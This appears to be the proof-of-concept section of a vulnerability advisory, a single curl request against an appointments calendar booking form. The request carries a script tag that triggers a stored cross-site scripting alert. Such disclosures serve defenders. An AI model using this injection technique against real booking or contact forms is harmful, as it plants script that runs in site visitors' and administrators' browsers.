Proof of Concept |
curl 'Path to page where appointments calendar short-code is used' -H 'Accept: text/html, */*; q=0.01' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.5' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Host: localhost' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0' -H 'X-Requested-With: XMLHttpRequest' --data 'ServiceId=1&AppDate=02-11-2016&StartTime=10:30 AM&Client_Name=<script>alert("hello")</script>&Client_Email=test@test.com&Client_Phone=123456&Client_Note=&Service_Duration=30'
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